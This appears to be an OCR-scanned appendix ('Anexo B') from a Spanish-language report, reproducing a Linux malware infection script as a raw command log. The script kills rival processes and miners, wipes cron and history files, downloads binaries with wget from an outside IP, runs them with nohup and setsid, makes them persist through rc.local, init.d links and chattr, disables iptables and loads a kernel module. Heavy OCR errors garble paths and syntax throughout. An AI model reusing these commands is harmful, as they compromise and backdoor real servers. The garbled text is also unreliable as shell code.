killall -9 mimi

killall -9 nodelR-1
killall -9 freeBSD
killall -9 ksapdd
killall -9 kysapdd
killall -9 sksapdd
killall <9 xsw

killall -9 syslogd
killall -9 skysapdd
killall -9 cupsddd
killall -9 ksapd
killall -9 atddd
killall -9 xfsdxd
killall -9 sfewfesfs
killall -9 gfhjrtfyhuf
killall -9 rewgtf3erdt
killall -8 sdmfdsfhjfe
killall -9 gfhddsfew
killall -9 ferwfrre
killall -9 dsfrefr

cd fetc;chattr - sfewfesfs
cd /root; chmod 7777 / etc

killall -9 minerd
killall -9 0

killall -9 joudckfr
killall -8 www
killall -9 log

killall -9 .|ptablex
killall -9 .Mm2
killall -9 acpid
killall -9 m&4

killall -9 ./QQ
killall -2 QQ

killall -9 g3

killall -9 2

killall -9 3

killall -9 pm

killall -9 qweasd
killall -9 tangtang
killall -9 imap-login
killall -9 xudp
killall -9 txma
killall -2 mrdos64.b00
killall -9 mrdos32.b00
killall -9 kkpklp
killall -9 kiilp

killall -3 xin1

killall -9 jibateng

cd froot;rm -rf dir nohup.out
cd fetc;rm -rf dir fake.cfg

cd fete;rm -rf dir cupsddd.*
cd Jetc;rm -rf dir atddd.*

cd fetc;rm -rf dir ksapdd.*

cd fete;rm -rf dir kysapdd.*
cd fetc;rm -rf dir sksapdd.*
cd fetc;rm -rf dir skysapdd.*
cd fetc;rm -rf dir xfsdxd . *

cd fete;rm -rf dir fake.cfg

cd fetc;rm -rf dir cupsdd.*

cd fetc;rm -rf dir atdd.*

cd fete;rm -rf dir ksapd.*

cd fetc;rm -rf dir kysapd.*

cd fetc;rm -rf dir sksapd.*

cd fetc;rm -rf dir skysapd.*
cd fetc;rm -rf dir xfsdx, *

cd fetc;rm -rf dir sfewfesfs
cd fetc;rm -rf dir gfhjrifyhuf
cd fetc;rm -rf dir rewgtf3erdt
cd fetc;rm -rf dir sdmfdsfhjfe
cd fetc;rm -rf dir gfhddsfew
cd fete;rm -rf dir ferwfrre

cd fete;rm -rf dir dsfrefr

cd fetc;rm -rf dir sfewfesfs. *
cd fete;rm -rf dir gfhjrtfyhuf.*
cd fete;rm -rf dir rewgtf3erdt.*
cd fetc;rm -rf dir sdmfdsfhjfe.*
cd fetc;rm -rf dir gfhddsfew.*
cd fetc;rm -rf dir ferwfrre.*
cd fete;rm -rf dir dsfrefr.®

cd ftmp;rm -rf dir 1,*
cd ftrmp;rm -rf dir 2.%
cd ftmp;rm -rf dir 3.*

b)




10.2. Anexo B

ed ftrmp;rm -rf dir 4.%
cd ftrp;rm -rf dir 5.%

cd /var/spoolfcron; rm -rf dir root

cd /var/spool/cron/crontabs; rm -rf dir root.®

cd /var/spool/cron/crontabs; rm -rf dir root

cd Jvar/spool/cron ;wget http://122.224.34.75:8188/root
cd fvar/spool/cron/ecrontabs ;wget http://122.224.34.75:8188/root
cd fetc;wget http://122.224.34.75:8188/sfewfesfs

cd fetc;wget http://122.224.34.75:8188/gfhjrtfyhuf

cd fete;wget hitp://122.224.34.75:8188 /rewgti3erdt

cd fetc;wget http://122.224.34.75:8188/sdmfdsfhjfe

cd fetc;wget http://122.224.34.75:8188/gfhddsfew

cd fetc;wget http://122.224.34.75:8188 /ferwfrre

cd fetc;wget http://122.224.34.75:8188/dsfrefr

cd fetc;wget http://122.224.34.75:8188/nhgbhhj

cd Jvar/spool/cron; rm -rf dir root.* )

cd fete;chmod 7777 nhgbhhj

cd fetc;chmod 7777 sfewfesfs
cd Jetc;chmod 7777 gfhjrtfyhuf
cd fetc;chmod 7777 rewgtf3erat
cd fete;chmod 7777 sdmfdsfhjfe
cd fetc;chmod 7777 gfhddsfew
cd fetc;chmod 7777 ferwfrre

cd fete;chmod 7777 dsfrefr

nohup fetc/sfewfesfs > /dev/null 2>&1&
nohup fetc/gfhjrtfyhuf = /dev/null 2>&1&
nohup fetc/rewgtf3erdt > fdev/null 2>8&18&
nohup fetc/sdmfdsfhjfe = /dev/null 2>&18&
nohup fetc/gfhddsfew = /dev/null 2>&1&
nohup fetc/ferwfrre > fdev/null 2>818&
nohup fetc/dsfrefr > /dev/null 2>&18&
nohup fetc/nhgbhhj > /dev/null 2>&1&

echo "cd fetc;./sfewfesfs" >> fetc/re.local
echo "cd fetc;./gfhjrtfyhuf” >> fetc/relocal
echo "cd fetc;. /rewgtf3erdt” >> fetc/rclocal
echo "cd fetc;./sdmfdsfhjfe” > fetc/relocal
echo "cd fetc;./gfhddsfew” >> fetc/rc.local
echo "cd fetc;. /ferwfrre" == fetc/rc. local
echo "cd fetc;. /dsfrefr” >= fetc/rc.local
echo "unset MAILCHECK" > fetc/profile

cd fetc;chattr +i sfewfesfs
rm -rf froot/.b

rm -rf froot/.bash_history
touch froot/.bash_history

chmod 777 fetc/init.d/.55H2

chmaod -R 777 ftmp

rm -f ftmp/.sshdd*

cp -p fete/rewgtf3erdt ftmp/.sshdd1402214790
[etc/sfewfesfsh

chmod +x ftmp/.sshdd1402214790

setsid ftmp/.sshdd1402214790

insmod Jfusr/lib/xpacket.ko

In -5 fetcfinit,d/DbSecuritySpt /etc/rcl.d/SO7DbSecurityspt
In -5 fetefinit.d/DbSecuritySpt fete/rc2.d/S97DbSecuritySpt
ps -ef

In -s fete/init.d/DbSecuritySpt fete/re3.d/S970bSecuritySpt
In -5 fetefinit.d/DhSecuritySpt /ete/red.d/S97DbSecuritySpt
In -5 fetc/init.d/DbSecuritySpt /etc/rc5.d/S97DbSecuritySpt
mkdir -p /usr/bin

cp -f fetc/sfewfesfs fusr/bin/pojie d )

chkconfig --level 0123456 iptables off
chkconfig --level 0123456 ipbtables off
cp -p /tmp/.sshdd1402214790 fete/.SSH2

service iptables stop
chmaod 777 fetc/.55H2

basename /fusr/sbin/service

In -5 fetefinit.d/.S5H2 [etc/re2.d/S77.55H2
In -5 fetc/finit.d/.55H2 /etc/rc3.d/S77.55H2
In -5 fetc/init.d/.55H2 fetc/rcd.d/S577.55H2
In -s fetefinit.d/.SSH2 fete/re5.d/S77.55H2

service .55H2 start
basename fusr/sbin/service

env -i LANG=en_US UTF-8
PATH=/usr/local/sbin:/usr/local/bin:/usr/shin:/usr/bin:/sbin:/bin:/us
r/bin/X11 TERM= fetc/init.d/.SSH2 start

env -i LANG=en_US.UTF-8
PATH=/usr/local/shin:/usr/local/kin:fusr/shin:/usr/bin:/sbin:/bin:/us
rfbin/X11 TERM= fetefinit.d/.SSH2 start

env -i LANG=en_US.UTF-8
PATH=/usr/local/shin:fusr/local/bin:fusr/shin:/usr/bin:/sbin:/bin:fus
rfbin/X11 TERM= fetefinit.d/.SSH2 start

env -i LANG=en_US.UTF-8
PATH=/usr/local/sbin:/usr/local/bin:/usr/shin:/usr/bin:/sbin:/bin:/us
r/bin/¥11 TERM= /etc/init.d/.SSH2 start

setsid fetc/.S5H2
Jfetc/init.d/.S5H2 start
setsid fete/.S5H2

ps -ef
chmod +x fetc/.55H2
ps -ef
setsid fete/.55H2






